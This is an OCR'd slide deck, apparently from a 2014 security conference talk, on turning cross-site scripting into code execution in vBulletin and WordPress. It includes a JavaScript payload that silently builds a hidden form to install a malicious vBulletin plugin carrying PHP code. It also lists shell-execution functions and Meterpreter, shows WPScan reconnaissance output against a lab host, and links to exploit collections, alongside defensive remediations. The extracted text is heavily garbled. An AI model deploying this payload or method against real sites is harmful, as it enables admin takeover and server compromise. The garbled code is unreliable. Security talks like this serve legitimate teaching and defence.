// A hidden vBulletin plugin payload

var form_input =\

<input type="hidden” name=
<input type="hidden” name=
<input type="hidden” name=
<input type="hidden” name=
<input type="hidden” name=
<input type="hidden” name=
<input type="hidden” name=
<input type="hidden” name=
<input type="hidden” name=
<input type="hidden” name=

9

"do” value="update” />\

"adminhash’ value="1adminhash+" />\
"securitytoken” value="4securitytoken
"product” value="vbulletin® />\
"hookname” value="misc_start" />\
"title” value="injected_haxx" />\
"executionorder” value="5" />\
'‘pPhpcode” value=\'PHP_PAYLOAD\ />\
"active” value="1" />\

"pluginid” value="" />\

+ 5\




Case Study - Ubuntu Forums

XSS Payload Explained - Code

// A function which silently injects our hidden payload form
function silent_form_inject() {

var silent_main_tag = document.createElement(form);

// The inner contents of our form is equal to the content variable
silent_main_tag.innerHTML = " “form_input;

top.document.getElementByld(silent_frame’).contentDocument.body.appendChild(sil
ent_main_tag);

silent_main_tag.setAttribute(id’,’hitbams2014);
silent_main_tag.setAttribute(name’,'hitbams2014);
silent_main_tag.setAttribute(action’,plugin.php?do=update’);
silent_main_tag.setAttribute(method’,POST);

}




Case Study - Ubuntu Forums

Remediations

* Limit privileged accounts
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e Strict password policies iy L B
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e Two-factor authentication
e Unfiltered HTML should not be allowed
» Content Security Policy

o Strict Transport Security



Issues (Security Headers)



Issues (Security Headers)

Security Mitigations
X-Frame-Opftions
* Deny
« SameOrigin
* Allow-From [uri]

Content-Security-Policy

Content-Security-Policy-Report-Only



Shell Types



Shell Types
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Code Execution

* system(); // The classic shell

 eval(); // Hardcore mode
« PHP Sockets
* Meterpreter

User Input

e Classic: GET/POST
» Covert: Referer, Cookie, User-Agent



Demo



Conclusion



Conclusion I

Realisations

* XSS is still very common
* XSS can in the right hands be usetul
* XSS is more than session hijacking

Where to begin?

» Administrator functionality

* Asynchronous JavaScript
* Thinking outside the box



Conclusion I

The Future

 Notification of success

» Fully automated

Exploits & Payloads

» Exploit-DB actually has a few

e BeEF - Yes I know thou exist



Bonus Round (Much Time)
Attack Methodology



Attack Methodoloqy I

Entry Points (WordPress)

 WPScan

* View source => DL Themes/Plugins
= SCR - Odays

* Readme/Changelog

* TimThumb



Attack Methodoloqy

root@kali: ~

File Edit WView Search Terminal Help

A\ v
A AN A
NANON
LAY
YAV

WordPress Security Scanner by the WPScan Team
Version v2.4
Sponsored by the RandomStorm Open Source Initiative
@ WPScan_, @ethicalhack3r, @erwan_Lr, pvdl, @ FireFart

URL: http://192.168.92.1/hitbwp/

The WordPress 'http://192.168.92.1/hitbwp/readme.html' file exists

Full Path Disclosure (FPD) in: 'http://192.168.92.1/hitbwp/wp-includes/rss-functions.php'
Interesting header: SERVER: Apache/2.4.3 [(Win32) OpensSSL/1.0.1c PHP/5.4.7
Interesting header: X-POWERED-BY: PHP/5.4.7

XML-RPC Interface available under: http://192.168.92.1/hitbwp/xml rpc .php
WordPress version 3.9.1 identified from meta generator

WordPress theme in use: ayoshop

Name: ayoshop

Location: http://192.168.92.1/hitbwp/wp-content/themes/ayoshop/

Style URL: http://127.0.0.1/hitbwp/wp-content/themes/ayoshop/style.css
Description:




Attack Methodoloqy I

- - ) :Q I BT
J Evim-source:lgl.lﬁa.gl.l_' x ..“._ N 1 I.LB _P\ \15] [ h I ) \ \1 “
C' [} view-source:192.168.92.1/hitbwp/ i —
L RIMELD I4dIE="VIEWEOILT "CTUllLEIIL="WIdLIrueEvICE=WIgLIId, 1INl idi-SstdieE—1. U F~F -
12| «link rel="Shortcut Icon" href="http://127.0.0.1/hithwp/Wp-content,/themes,/avoshop/images/favicon.ico™ type="image,/x-
icon™ />
14| <link rel="stylesheest" href="http://127.0.0.1/hithwp/wp-—content/themes/avoshop/style.css" type="text/css"
media="screen" /> =
6| <!-— This site iz optimized with| Yoast WordPress 5EC plugin wl.5.3.2 |ast.com/wordpress/plugins/sen/ --
>
17| «link rel="canonical" href="http://127.0.0.1/hitbwup/" />
8| <meta property="og:locale" content="en U3" /> =
13| <meta property="og:type" content="website" /> B
20| <meta property="og:title" content="HitE Amsterdam 2014 - Just another WordPress site™ />
21| <meta property="og:url" content="http://127.0.0.1/hitbwp/" />
22| <meta property="ogisite name" content="HitE Amsterdam 2014" />
22| < 1—-= / Yoast WordPress SEC plugin., -->
24
26 | «link rel="alternate" type="application/rss+uml" title="HitE Lmsterdam 2014 zraguo; Fesd"
href="http://137.0.0. 1/ hithwp/feed/" />
7% <link rel="alternate" type="application/rss+xml" title="HitR Dmasaed Sooa o - == Taodll
L href="http://127.0.0. 1/ hithwp/comments/ feed/" />
27| <link rel='stylesheet' id='font-awesome-css' href='heee://|/hithwp/wo—content/themes/avoshon/lib e
awesome.c3s?ver=1.1" type='text/c33' media='all' />
28| <link rel='stylesheet' id='"avo-responsive-css' href="httpirT oo I I TOWO W OO o e L7 TS 0o IIony TESpUnISIVeE —
stvles.c332ver=1.1" type='text/c33" media="all' /> -
78| <3cript Ttype='text/javascript' sroc='hrop:/S127.0.0. 1 /hithwp /wp—includes/ s/ dauery/dguery.j2tver=1.11.0" "</ 3cript> B
0| <Ecript type='text/javascript' src="http://127.0.0.1/hithwp/wp—includes/ s/ jquerv/jguery-migrate.min. jsfver=1.2.1"'>
</script>
11| <script type='text/javascript' src="http://127.0.0.1/hithwp/wp—content/themes/avoshop/lib/9s/vendor.min.js?ver=1.1">
</=script>
2| <link rel="EditURI" type="application/rad+xml" title="RSD" href="http://f127.0.0.1/hithwp/xmlrpc.php?2rsd” />
127.0.0.1/hithwp/wp—includes,/wlwmanifest.xml"
b ="generator" content="WordPress 3.9.1" /> ’
"pingback" href="http://127.0.0.1/hitbwp/xmlrpc.php™ />
37| <!'—— Custom Child Themes Style —-3
2| <style type='text/css'> ::-moz-selection{background-color:#444}::selection{background-color:#444}.post-meta{border-
top-color:$#444}t#wrap, .breadecrunmk, blockguote, input [type="text"].=3:focus, #inner input[tyvpe="text"].s:focus, $fayo- -
|
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vBSEO Exploit + Payload (Old version):

http://www.exploit-db.com/vbseo-from-xss-to-reverse-php-shell/

New Payloads for vBulletin and WordPress:
https://github.com/Varbaek

Statistics:

http://www.shodanhg.com/

https://www.whitehatsec.com/resource/stats.html

Fonts:

http://www.losttype.com/edmondsans/

http://www.losttype.com/font/?name=maven
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Thank You!

Questions?



